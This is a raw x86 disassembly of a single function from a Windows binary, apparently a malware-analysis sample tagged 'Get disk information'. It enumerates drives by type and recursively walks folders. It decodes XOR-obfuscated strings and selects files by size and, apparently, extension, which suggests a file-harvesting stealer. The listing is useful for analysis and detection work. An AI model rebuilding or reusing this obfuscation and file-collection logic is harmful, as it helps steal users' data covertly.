Function at 0x41578f
Capabilities:
Get disk information

Disassembly:
mov eax, 0x466a38
call fcn.00465ac0
sub esp, 0x1a0
push ebx
xor ebx, ebx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x18], ebx
mov eax, 0x2ee0
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
push esi
cmovne eax, dword [ebp + 0xc]
mov esi, edx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x138], ebx
push 0x47748b
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], bl
call fcn.0041338c
xor eax, eax
lea ecx, [ebp - 0xec]
push 0xf
inc eax
mov byte [ebp - 4], al
pop edi
mov dword [ebp - 0xec], ebx
push 0x47748b
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0xd8], edi
mov byte [ebp - 0xec], bl
call fcn.0041338c
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov edx, 0x47748b
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.0041410b
test al, al
jne 0x415ada
mov dl, 0x5b
mov dword [ebp - 0x1f], 0x81f7e5b
mov word [ebp - 0x1b], 0x6910
mov ecx, ebx
mov byte [ebp - 0x19], bl
xor byte [ebp + ecx - 0x1e], dl
inc ecx
cmp ecx, 5
jae 0x415895
mov dl, byte [ebp - 0x1f]
jmp 0x415886
push ecx
lea eax, [ebp - 0x1e]
mov byte [ebp - 0x19], bl
push eax
mov ecx, esi
call fcn.004127e9
cmp eax, 0xffffffff
je 0x415b15
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x10c], edi
mov byte [ebp - 0x120], bl
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x74]
push 0x486040
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
call fcn.00413406
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 6
push eax
mov edx, esi
lea ecx, [ebp - 0xa4]
call fcn.00436fd3
pop ecx
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 8
call fcn.0041332b
mov ecx, dword [ebp - 0xa4]
push 1
push ebx
call fcn.0041386b
mov ecx, dword [ebp - 0xa4]
lea edx, [ecx + 0x10]
mov eax, dword [edx]
dec eax
cmp dword [ecx + 0x14], 0x10
jb 0x415923
mov ecx, dword [ecx]
mov dword [edx], eax
push 0x18
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 0xa4]
pop esi
mov eax, dword [ebp - 0xa0]
sub eax, ecx
cdq
idiv esi
mov edx, dword [ebp - 0x2c]
cmp edx, eax
jae 0x41599c
imul eax, edx, 0x18
add eax, ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x415997
cmp dword [eax + 0x14], 0x10
jb 0x415957
mov eax, dword [eax]
push edx
push eax
lea ecx, [ebp - 0x120]
call fcn.004133ad
mov al, 0x61
mov byte [ebp + 0xd], 0x3d
xor al, 0x3d
mov byte [ebp + 0xf], bl
lea ecx, [ebp + 0xe]
mov byte [ebp + 0xe], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415978
sub ecx, edx
lea eax, [ebp + 0xe]
push ecx
push eax
lea ecx, [ebp - 0x120]
call fcn.004133ad
mov ecx, dword [ebp - 0xa4]
inc dword [ebp - 0x2c]
jmp 0x415931
lea ecx, [ebp - 0xd4]
call fcn.00434004
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov byte [ebp - 0x44], bl
mov byte [ebp - 4], 0xa
mov esi, dword [ebp - 0xd4]
mov edi, dword [ebp - 0xd0]
cmp esi, edi
je 0x415ab1
push esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
call fcn.00413406
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x44]
call fcn.00412943
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x415a17
mov al, 0x57
mov byte [ebp + 0xd], 0x65
xor al, 0x65
mov byte [ebp + 0xf], bl
mov byte [ebp + 0xe], al
lea eax, [ebp + 0xe]
jmp 0x415a45
cmp eax, 3
jne 0x415a2f
mov al, 6
mov byte [ebp - 0x17], 0x35
xor al, 0x35
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x16], al
lea eax, [ebp - 0x16]
jmp 0x415a45
cmp eax, 5
jne 0x415a9d
mov al, 0x6b
mov byte [ebp - 0x13], 0x5e
xor al, 0x5e
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x12], al
lea eax, [ebp - 0x12]
push ecx
mov ecx, dword [ebp - 0xa4]
push eax
call fcn.004127e9
cmp eax, 0xffffffff
je 0x415a9d
cmp dword [ebp - 0x10c], 0x10
lea eax, [ebp - 0x120]
push dword [ebp - 0x110]
cmovae eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x44]
push eax
call fcn.004133ad
push dword [ebp + 0x18]
mov ecx, dword [ebp - 0x94]
lea edx, [ebp - 0x44]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x90]
push dword [ebp + 8]
call fcn.0041578f
add esp, 0x14
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.0041332b
add esi, 0x18
jmp 0x4159c3
lea ecx, [ebp - 0x44]
call fcn.0041332b
lea ecx, [ebp - 0xd4]
call fcn.00419522
lea ecx, [ebp - 0xa4]
call fcn.00419522
lea ecx, [ebp - 0x120]
call fcn.0041332b
lea ecx, [ebp - 0xb0]
call fcn.00419522
lea ecx, [ebp - 0xf8]
call fcn.00419522
lea ecx, [ebp - 0xec]
call fcn.0041332b
lea ecx, [ebp - 0x138]
call fcn.0041332b
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
mov edx, 0x47748b
call fcn.0041410b
test al, al
jne 0x415b6a
mov edx, dword [ebp + 8]
mov eax, edx
cmp dword [edx + 0x14], 0x10
jb 0x415b33
mov eax, dword [edx]
mov ecx, dword [edx + 0x10]
lea edi, [ecx + eax]
jb 0x415b46
mov eax, dword [ebp + 8]
mov edx, dword [edx]
mov eax, dword [eax]
add eax, ecx
jmp 0x415b49
lea eax, [ecx + edx]
push eax
push edx
lea ecx, [ebp + 0xc]
call fcn.00419697
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
push edi
push dword [eax]
lea eax, [ebp - 0xc8]
push eax
call fcn.0041948a
push 0xf
pop edi
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x44]
push 0x477804
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov byte [ebp - 0x44], bl
call fcn.0041338c
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0xc
call fcn.00436fd3
pop ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00419386
lea ecx, [ebp - 0xd4]
call fcn.00419522
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 4
call fcn.0041332b
push ecx
push 0x477808
mov ecx, esi
call fcn.004127e9
cmp eax, 0xffffffff
jne 0x415be0
push esi
lea ecx, [ebp - 0x138]
call fcn.00412943
jmp 0x415d77
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x44]
push 0x477524
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], edi
mov byte [ebp - 0x44], bl
call fcn.0041338c
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0xd
push eax
mov edx, esi
lea ecx, [ebp - 0xa4]
call fcn.00436fd3
pop ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xf
call fcn.0041332b
push 0x18
mov esi, ebx
pop edi
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa4]
sub eax, ecx
cdq
idiv edi
mov dword [ebp + 0xc], esi
cmp esi, eax
jae 0x415d68
imul eax, esi, 0x18
push ecx
push 0x477808
mov dword [ebp - 0xc4], eax
lea esi, [ecx + eax]
mov ecx, esi
call fcn.004127e9
cmp eax, 0xffffffff
je 0x415d2e
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x415c68
mov ecx, dword [esi]
mov eax, dword [esi + 0x10]
add ecx, eax
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x2c], ecx
mov ecx, esi
jb 0x415c7e
mov edi, dword [esi]
add edi, eax
jmp 0x415c83
lea edi, [esi + eax]
jb 0x415c85
mov ecx, dword [ecx]
mov eax, edi
sub eax, ecx
push eax
push 0x25
push ecx
call fcn.00441160
add esp, 0xc
mov ecx, edi
test eax, eax
cmovne ecx, eax
cmp ecx, edi
je 0x415cb4
lea eax, [ecx + 1]
jmp 0x415cb0
mov dl, byte [eax]
cmp dl, 0x25
je 0x415caf
mov byte [ecx], dl
inc ecx
inc eax
cmp eax, edi
jne 0x415ca5
push dword [ebp - 0x2c]
lea eax, [ebp - 0xc8]
push ecx
push eax
mov ecx, esi
call fcn.0041948a
mov eax, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xc4]
add eax, esi
cmp dword [eax + 0x14], 0x10
jb 0x415cdc
mov eax, dword [eax]
push eax
call fcn.00444e77
pop ecx
test eax, eax
je 0x415d1e
mov eax, dword [ebp - 0xa4]
add eax, esi
cmp dword [eax + 0x14], 0x10
jb 0x415cf7
mov eax, dword [eax]
push eax
call fcn.00444e77
mov edx, eax
pop ecx
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x415d03
sub edx, esi
lea ecx, [ebp - 0x138]
push edx
push eax
call fcn.004133ad
push 0x18
pop edi
jmp 0x415d5f
lea ecx, [ebp - 0xa4]
call fcn.00419522
jmp 0x415ada
push esi
mov edx, 0x477524
lea ecx, [ebp - 0x8c]
call fcn.00419609
pop ecx
push eax
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0x10
call fcn.0041291e
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0xf
call fcn.0041332b
mov esi, dword [ebp + 0xc]
inc esi
jmp 0x415c20
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 4
call fcn.00419522
mov byte [ebp + 0xc], bl
lea edx, [ebp - 0x138]
push dword [ebp + 0xc]
lea ecx, [ebp - 0x8c]
call fcn.00414d34
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x11
call fcn.0040c40c
lea ecx, [ebp - 0x8c]
mov byte [ebp + 0xf], al
mov byte [ebp - 4], 4
call fcn.0041314d
cmp byte [ebp + 0xf], 0
je 0x415ada
mov byte [ebp + 0xc], bl
lea edx, [ebp - 0x138]
push dword [ebp + 0xc]
lea ecx, [ebp - 0x8c]
call fcn.00414d34
cmp byte [ebp + 0x14], 0
pop ecx
je 0x4166c5
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x104]
call fcn.0040c09d
lea ecx, [ebp - 0x8c]
call fcn.0041314d
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0xc0]
call fcn.0040d0c9
mov edi, dword [ebp - 0xc0]
mov esi, dword [ebp - 0xbc]
mov dword [ebp + 0xc], edi
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xb4], esi
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040d0c9
mov ecx, dword [ebp - 0x9c]
xorps xmm0, xmm0
movlpd qword [ebp - 0xc0], xmm0
mov eax, ebx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ebx
test ecx, ecx
je 0x415e66
call fcn.0040a717
mov eax, ebx
mov byte [ebp - 4], 0x16
cmp edi, eax
je 0x416fbd
mov esi, dword [ebp + 0x10]
mov edx, 0x47748b
mov ecx, esi
mov byte [ebp - 4], 0x17
call fcn.0041410b
test al, al
jne 0x415f4f
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x44]
push 0x477804
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], bl
call fcn.0041338c
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x18
push eax
mov edx, esi
lea ecx, [ebp - 0xd4]
call fcn.00436fd3
pop ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1a
call fcn.0041332b
mov edi, ebx
mov eax, dword [ebp - 0xd0]
sub eax, dword [ebp - 0xd4]
push 0x18
cdq
pop ecx
idiv ecx
cmp edi, eax
jae 0x415f3d
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x8c]
add ecx, 0x20
push ecx
push eax
call fcn.004139f1
or dword [ebp - 0x14], 0x100
lea ecx, [ebp - 0x8c]
imul eax, edi, 0x18
push ebx
add eax, dword [ebp - 0xd4]
push eax
call fcn.0041281a
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
je 0x415f3a
lea ecx, [ebp - 0xd4]
call fcn.00419522
mov byte [ebp - 4], 0x16
jmp 0x4166a0
inc edi
jmp 0x415ece
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x17
call fcn.00419522
mov edi, dword [ebp + 0xc]
add edi, 0x20
mov ecx, edi
mov dword [ebp - 0xfc], edi
call fcn.00415711
test al, al
je 0x416699
push ecx
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
call fcn.004139f1
or dword [ebp - 0x14], 0x800
mov dl, 0x43
mov dword [ebp - 0x25], 0x31366d43
mov ecx, ebx
mov word [ebp - 0x21], 0x2f
xor byte [ebp + ecx - 0x24], dl
inc ecx
cmp ecx, 4
jae 0x415f9d
mov dl, byte [ebp - 0x25]
jmp 0x415f8e
push ecx
lea eax, [ebp - 0x24]
mov byte [ebp - 0x20], bl
push eax
lea ecx, [ebp - 0x8c]
call fcn.004127e9
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
jne 0x415f31
push ecx
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
call fcn.004139f1
or dword [ebp - 0x14], 0x4000
mov dl, 0x30
mov dword [ebp - 0x1e], 0x5e5c1e30
mov ecx, ebx
mov word [ebp - 0x1a], 0x5b
xor byte [ebp + ecx - 0x1d], dl
inc ecx
cmp ecx, 4
jae 0x415ffc
mov dl, byte [ebp - 0x1e]
jmp 0x415fed
push ecx
lea eax, [ebp - 0x1d]
mov byte [ebp - 0x19], bl
push eax
lea ecx, [ebp - 0x8c]
call fcn.004127e9
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
je 0x416309
cmp byte [ebp + 0x18], 0
je 0x416309
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xc8], eax
push ecx
push eax
mov ecx, edi
call fcn.004139f1
or dword [ebp - 0x14], 0x20000
lea ecx, [ebp - 0x8c]
call fcn.0043392f
mov esi, eax
add esp, 0x18
lea eax, [ebp - 0xec]
cmp eax, esi
je 0x416077
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0xec]
call fcn.00413478
lea ecx, [ebp - 0x8c]
call fcn.0041332b
mov esi, 0x47748b
lea ecx, [ebp - 0xec]
mov edx, esi
call fcn.0041410b
test al, al
jne 0x415f31
mov ecx, dword [ebp + 8]
mov edx, esi
call fcn.0041410b
test al, al
jne 0x416309
mov esi, dword [ebp - 0xb0]
mov edi, ebx
mov eax, dword [ebp - 0xac]
sub eax, esi
push 0x18
cdq
pop ecx
idiv ecx
cmp edi, eax
jae 0x415f31
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0xec]
cmovae edx, dword [ebp - 0xec]
imul ecx, edi, 0x18
add ecx, esi
cmp dword [ecx + 0x14], 0x10
jb 0x4160ed
mov ecx, dword [ecx]
call fcn.00437087
test eax, eax
je 0x416303
mov byte [ebp - 0xc4], bl
lea edx, [ebp - 0xec]
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x44]
call fcn.00414d34
pop ecx
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x44]
mov esi, dword [ebp - 0x14]
or esi, 1
mov dword [ebp - 0x14], esi
call fcn.004156d2
and eax, 0xfffffc00
cmp edx, ebx
ja 0x416194
jb 0x41613c
cmp eax, 0xbb8000
jae 0x416194
mov byte [ebp - 0x98], bl
lea edx, [ebp - 0xec]
push dword [ebp - 0x98]
lea ecx, [ebp - 0x8c]
call fcn.00414d34
pop ecx
mov dword [ebp - 4], 0x1c
lea ecx, [ebp - 0x8c]
or esi, 2
mov dword [ebp - 0x14], esi
call fcn.004156d2
mov esi, eax
mov ecx, edx
mov eax, dword [ebp - 0x90]
shrd esi, ecx, 0xa
cdq
shr ecx, 0xa
cmp ecx, edx
ja 0x416194
jb 0x41618e
cmp esi, eax
jae 0x416194
mov byte [ebp + 0xf], 1
jmp 0x416197
mov byte [ebp + 0xf], bl
mov eax, dword [ebp - 0x14]
test al, 2
je 0x4161b2
and eax, 0xfffffffd
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x14], eax
call fcn.0041314d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x17
test al, 1
je 0x4161cb
and eax, 0xfffffffe
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], eax
call fcn.0041314d
cmp byte [ebp + 0xf], 0
je 0x4162fd
mov edi, 0x477524
mov dword [ebp - 0x44], ebx
push edi
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], bl
call fcn.0041338c
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x1d
push eax
lea edx, [ebp - 0xec]
lea ecx, [ebp - 0x114]
call fcn.00436fd3
pop ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00419386
lea ecx, [ebp - 0x114]
call fcn.00419522
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x17
call fcn.0041332b
mov eax, dword [ebp - 0x94]
mov esi, eax
cmp dword [eax + 0x14], 0x10
jb 0x416240
mov esi, dword [eax]
mov cl, 0x2b
mov dword [ebp - 0x4c], 0x47424d2b
mov dword [ebp - 0x48], 0x77584e
mov edx, ebx
xor byte [ebp + edx - 0x4b], cl
inc edx
cmp edx, 6
jae 0x416261
mov cl, byte [ebp - 0x4c]
jmp 0x416252
mov edx, esi
mov byte [ebp - 0x45], bl
lea ecx, [ebp - 0x4b]
call fcn.00433ad6
mov dword [ebp - 0x74], ebx
lea ecx, [ebp - 0x74]
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], bl
call fcn.0041338c
push 1
push edi
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x1e
call fcn.004133ad
inc dword [0x48a8d0]
lea esi, [ebp - 0xec]
cmp dword [ebp - 0xd8], 0x10
mov edx, dword [ebp - 0xf4]
cmovae esi, dword [ebp - 0xec]
add edx, 0xffffffe8
cmp dword [edx + 0x14], 0x10
jb 0x4162c1
mov edx, dword [edx]
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
cmovae ecx, dword [ebp - 0x74]
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 2
push ebx
push esi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0xf8]
call fcn.00419329
lea ecx, [ebp - 0x74]
call fcn.0041332b
jmp 0x415f31
mov esi, dword [ebp - 0xb0]
inc edi
jmp 0x4160b6
mov ecx, dword [ebp + 8]
mov edx, 0x47748b
call fcn.0041410b
test al, al
jne 0x416524
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0xb0]
push 0x18
cdq
pop ecx
idiv ecx
cmp esi, eax
jae 0x416699
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.004139f1
or dword [ebp - 0x14], 0x1000000
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
cmovae edx, dword [ebp - 0x44]
imul ecx, esi, 0x18
add ecx, dword [ebp - 0xb0]
cmp dword [ecx + 0x14], 0x10
jb 0x41637e
mov ecx, dword [ecx]
call fcn.00437087
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0041332b
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x17
call fcn.0041314d
test esi, esi
je 0x416518
mov ecx, edi
call fcn.004156d2
and eax, 0xfffffc00
cmp edx, ebx
ja 0x416518
jb 0x4163c5
cmp eax, 0x4e2000
jae 0x416518
mov ecx, edi
call fcn.004156d2
mov esi, eax
mov ecx, edx
mov eax, dword [ebp - 0x90]
shrd esi, ecx, 0xa
cdq
shr ecx, 0xa
cmp ecx, edx
ja 0x416518
jb 0x4163f0
cmp esi, eax
jae 0x416518
mov eax, dword [ebp - 0x94]
mov esi, eax
cmp dword [eax + 0x14], 0x10
jb 0x416400
mov esi, dword [eax]
mov cl, 8
mov dword [ebp - 0x54], 0x64616e08
mov dword [ebp - 0x50], 0x547b6d
mov edx, ebx
xor byte [ebp + edx - 0x53], cl
inc edx
cmp edx, 6
jae 0x416421
mov cl, byte [ebp - 0x54]
jmp 0x416412
mov edx, esi
mov byte [ebp - 0x4d], bl
lea ecx, [ebp - 0x53]
call fcn.00433ad6
mov dword [ebp - 0x74], ebx
lea ecx, [ebp - 0x74]
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], bl
call fcn.0041338c
push 1
push 0x477524
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x20
call fcn.004133ad
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x8c]
inc dword [0x48a8d0]
push ecx
push eax
lea ecx, [esi + 0x20]
call fcn.004139f1
or dword [ebp - 0x14], 0x8000000
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x150]
cmp dword [ebp - 0x78], 0x10
lea edi, [ebp - 0x8c]
push eax
cmovae edi, dword [ebp - 0x8c]
lea ecx, [esi + 0x20]
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x22
push ecx
mov ecx, eax
call fcn.004139f1
or dword [ebp - 0x14], 0x40000000
mov byte [ebp - 4], 0x23
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
lea ecx, [ebp - 0x74]
cmovae edx, dword [ebp - 0x44]
cmp dword [ebp - 0x60], 0x10
cmovae ecx, dword [ebp - 0x74]
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 2
push ebx
push edi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.0041332b
lea ecx, [ebp - 0x150]
call fcn.0041314d
lea ecx, [ebp - 0x8c]
call fcn.0041332b
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x17
call fcn.0041332b
mov edi, dword [ebp - 0xfc]
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
jmp 0x416323
mov ecx, edi
call fcn.004156d2
and eax, 0xfffffc00
cmp edx, ebx
ja 0x416699
jb 0x416545
cmp eax, 0x4e2000
jae 0x416699
mov ecx, edi
call fcn.004156d2
mov esi, eax
mov ecx, edx
mov eax, dword [ebp - 0x90]
shrd esi, ecx, 0xa
cdq
shr ecx, 0xa
cmp ecx, edx
ja 0x416699
jb 0x416570
cmp esi, eax
jae 0x416699
mov eax, dword [ebp - 0x94]
mov esi, eax
cmp dword [eax + 0x14], 0x10
jb 0x416580
mov esi, dword [eax]
mov cl, 0xc
mov dword [ebp - 0x5c], 0x60656a0c
mov dword [ebp - 0x58], 0x507f69
mov edx, ebx
xor byte [ebp + edx - 0x5b], cl
inc edx
cmp edx, 6
jae 0x4165a1
mov cl, byte [ebp - 0x5c]
jmp 0x416592
mov edx, esi
mov byte [ebp - 0x55], bl
lea ecx, [ebp - 0x5b]
call fcn.00433ad6
mov dword [ebp - 0x74], ebx
lea ecx, [ebp - 0x74]
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], bl
call fcn.0041338c
push 1
push 0x477524
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x24
call fcn.004133ad
inc dword [0x48a8d0]
lea eax, [ebp - 0x44]
push ecx
push eax
mov ecx, edi
call fcn.004139f1
or dword [ebp - 0x18], 2
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x150]
cmp dword [ebp - 0x30], 0x10
lea esi, [ebp - 0x44]
push eax
cmovae esi, dword [ebp - 0x44]
mov ecx, edi
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x26
push ecx
mov ecx, eax
call fcn.004139f1
or dword [ebp - 0x18], 0x10
mov byte [ebp - 4], 0x27
lea edx, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
lea ecx, [ebp - 0x74]
cmovae edx, dword [ebp - 0x8c]
cmp dword [ebp - 0x60], 0x10
cmovae ecx, dword [ebp - 0x74]
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 2
push ebx
push esi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0x8c]
call fcn.0041332b
lea ecx, [ebp - 0x150]
call fcn.0041314d
lea ecx, [ebp - 0x44]
call fcn.0041332b
lea ecx, [ebp - 0x74]
call fcn.0041332b
jmp 0x416699
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0xb8]
call fcn.0040c0e2
mov edi, dword [ebp - 0xb8]
mov esi, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xc0]
mov dword [ebp + 0xc], edi
jmp 0x415e6a
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 0x29
push eax
lea ecx, [ebp - 0x104]
call fcn.0040be00
lea ecx, [ebp - 0x8c]
call fcn.0041314d
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040d0c9
mov edi, dword [ebp - 0xb8]
mov esi, dword [ebp - 0xb4]
mov dword [ebp + 0xc], edi
mov dword [ebp - 0xc0], edi
mov dword [ebp - 0xbc], esi
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040d0c9
mov ecx, dword [ebp - 0x9c]
xorps xmm0, xmm0
movlpd qword [ebp - 0xb8], xmm0
mov eax, ebx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ebx
test ecx, ecx
je 0x41674f
call fcn.0040a717
mov eax, ebx
mov byte [ebp - 4], 0x2d
cmp edi, eax
je 0x416fbd
mov esi, dword [ebp + 0x10]
mov edx, 0x47748b
mov ecx, esi
mov byte [ebp - 4], 0x2e
call fcn.0041410b
test al, al
jne 0x416838
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x44]
push 0x477804
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], bl
call fcn.0041338c
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x2f
push eax
mov edx, esi
lea ecx, [ebp - 0xd4]
call fcn.00436fd3
pop ecx
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x31
call fcn.0041332b
mov edi, ebx
mov eax, dword [ebp - 0xd0]
sub eax, dword [ebp - 0xd4]
push 0x18
cdq
pop ecx
idiv ecx
cmp edi, eax
jae 0x416826
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x8c]
add ecx, 0x20
push ecx
push eax
call fcn.004139f1
or dword [ebp - 0x18], 0x200
lea ecx, [ebp - 0x8c]
imul eax, edi, 0x18
push ebx
add eax, dword [ebp - 0xd4]
push eax
call fcn.0041281a
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
je 0x416823
lea ecx, [ebp - 0xd4]
call fcn.00419522
mov byte [ebp - 4], 0x2d
jmp 0x416f98
inc edi
jmp 0x4167b7
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x2e
call fcn.00419522
mov edi, dword [ebp + 0xc]
add edi, 0x20
mov ecx, edi
mov dword [ebp - 0xc8], edi
call fcn.00415711
test al, al
je 0x416f91
push ecx
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
call fcn.004139f1
or dword [ebp - 0x18], 0x1000
mov dl, 0xc
mov dword [ebp - 0x1e], 0x7e79220c
mov ecx, ebx
mov word [ebp - 0x1a], 0x60
xor byte [ebp + ecx - 0x1d], dl
inc ecx
cmp ecx, 4
jae 0x416886
mov dl, byte [ebp - 0x1e]
jmp 0x416877
push ecx
lea eax, [ebp - 0x1d]
mov byte [ebp - 0x19], bl
push eax
lea ecx, [ebp - 0x8c]
call fcn.004127e9
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
jne 0x41681a
push ecx
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
call fcn.004139f1
or dword [ebp - 0x18], 0x8000
